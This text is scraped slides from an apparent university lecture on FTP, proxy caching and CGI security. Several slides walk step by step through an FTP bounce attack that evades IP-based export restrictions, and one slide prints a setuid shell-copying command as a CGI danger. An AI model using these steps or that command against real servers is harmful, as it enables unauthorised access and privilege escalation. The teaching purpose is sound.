21
TELE 301 Lecture 17: FTP … 1 Overview • Last Lecture – Remote Terminal Services (SSH) • This Lecture – File transfer and web caching • Next Lecture – Directory services

TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

Embed Size (px)

Citation preview

Page 1: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 1

Overview• Last Lecture

– Remote Terminal Services (SSH)

• This Lecture– File transfer and web caching

• Next Lecture– Directory services

Page 2: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 2

FTP Basics

Clear-text protocol.Woefully insecure.

Largely due to its dual-channel nature.Can be used in bounce attack (don’t trust traffic from your FTP server)

Use sftp or scp mechanisms instead for user-based access.

Page 3: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 3

How FTP works?

21

20

control

data

client server

Command: PORT IP_ADDR PORT_NUMcan ask the FTP server to connect any machine and port

Page 4: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 4

Anonymous FTP

Incoming directoryDefault guest “password” (email addr.)Download AcceleratorsRun as standalone or inetdUse HTTP instead

Page 5: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 5

FTP bounce attack• Scenario

– You are a user on foreign.fr, IP address x.x.x.x, and want to retrieve cryptographic source code from crypto.com in the US.

– The FTP server at crypto.com is set up to allow your connection, but deny access to the crypto sources because your source IP address is that of a non-US site

– However, crypto.com will allow ufred.edu to download crypto sources because ufred.edu is in the US too.

– ufred.edu offers anonymous FTP and has a world-writable /incoming directory for anonymous users to drop files into.

– Crypto.com's IP address is z.z.z.z.

Page 6: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 6

FTP bounce attack (cont.)

Data connection

Control connection

control

data

Foreign.fr Crypto.com

Ufred.edu

21

20

21

20

PORT x.x.x.x, yy

yy

Page 7: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 7

• Assuming you have an FTP server that does passive mode. Open an FTP connection to your own machine's real IP address [not localhost] and log in. Change to a convenient directory that you have write access to, and then do: – quote "pasv" – quote "stor foobar”

• Take note of the address and port that are returned from the PASV command, x.x.x.x, yy. This FTP session will now hang, so background it or flip to another window or something to proceed with the following.

Page 8: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 8

• Construct a file containing FTP server commands. Let's call this file "instrs". It will look like this: – user ftp – pass -anonymous@ – cwd /export-restricted-crypto – type i – port x,x,x,x,y,y – retr crypto.tar.Z – quit

– ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@...

• x,x,x,x,y,y is the same address and port that your own machine handed you on the first connection. The trash at the end is extra lines you create, each containing 250 NULLS and nothing else, enough to fill up about 60K of extra data. The reason for this filler is to keep the control TCP connection longer enough to ensure the data transfer to finish.

Page 9: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 9

• Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming. Now type the following into this FTP session, which transfers a copy of your "instrs" file over and then tells ufred.edu's FTP server to connect to crypto.com's FTP server using your file as the commands: – put instrs – quote "port C,C,C,C,0,21" – quote "retr instrs”– Note C.C.C.C is the IP address of crypto.com

• Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP connection.

Page 10: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 10

Proxy Cache

Save Bandwidth/MoneyIncrease Performance – for static pages, multiple clients.

Most useful for images and other objects.

Client configured to send HTTP request via cache server.

FTP is handled also.Can be auto-configured. (WPAD)

Page 11: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 11

HTTP CONNECT Method

Used for relaying (can’t cache) encrypted SSL connections.Cache just passes the connection through.

CONNECT fnc.asbbank.co.nz:443 HTTP/1.1Other users: AIM, PuTTY, Corkscrew...

This can be used to circumvent access control, esp if the proxy cache is trusted!

Page 12: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 12

Cache Hierarchies

Parent proxies are commonly used, and are very useful when you can tap into a large proxy.Internet Cache Protocol ICP (UDP, Multicast) can be used to query sibling cache proxies.

Page 13: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 13

Non-Caching Proxies

Some proxies provide other features, such as

Parental controlHTML rewritingSecurity testing

Page 14: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 14

Access Control

You really must restrict access to known clients only.User-based authentication

Don’t use the same password for Proxy as you do for system login (HTTP Basic Auth only.)Enforce use of Proxy Cache for authentication. (firewall)

Page 15: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 15

Transparent Proxies

No client configuration, traffic savings. Attractive to ISPs.Limitations

Cannot use password authentication.HTTP 1.1 – proxy needs to find out what to connect to.Source address will be that of the proxy cache.

X-Forwarded-For header (usually not logged)

Page 16: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 16

Transparent Proxies

Router / Firewall sits in the path of traffic. Redirects TCP/80 connections to the proxy server.Proxy server accepts the request, and using the Host header, finds out whether or not it can satisfy the request from cache or whether it needs to go to the server and get the page.In smaller setups, proxy and router are on same machine.

Page 17: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 17

Reverse Proxies

aka HTTP AcceleratorsUses a Transparent Proxy in front of a dynamic web server.Essentially a transparent proxy that accepts GET and POST requests from everyone, and only to a few machines.Most useful when you have a lot of generated documents that will be the same.

Page 18: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 18

SOCKS Proxies

Similar to the CONNECT method, but designed primarily for security, not caching.Not just for web access, but for any TCP application.Is a form of a firewall.Each client application needs support, or have it wrapped in a replaced library.

Page 19: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 19

Why CGI not secure?

• CGI (Common Gateway Interface) used to be work with web servers– But it may cause security holes

• Script command– `cp /bin/sh /tmp; chmod 4777 /tmp/sh`

• If the command is executed by a CGI script, the consequence is obvious.

• But how could that happen?

Page 20: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 20

Resources

Hacking Linux Exposed (2nd Edition)Brian Hatch & James Lee, ISBN 0-07-222564-5Various useful documentswww.web-cache.comTransparent Proxy HOWTOwww.tldp.org/HOWTO/TransparentProxy.html

Page 21: TELE 301 Lecture 17: FTP … 1 Overview Last Lecture –Remote Terminal Services (SSH) This Lecture –File transfer and web caching Next Lecture –Directory

TELE 301 Lecture 17: FTP … 21

Resources

RFC2617 – HTTP Authentication: Basic and Digest...OWASP – The Open Web Application Security Projectwww.owasp.comSANS Reading Roomwww.sans.org/rr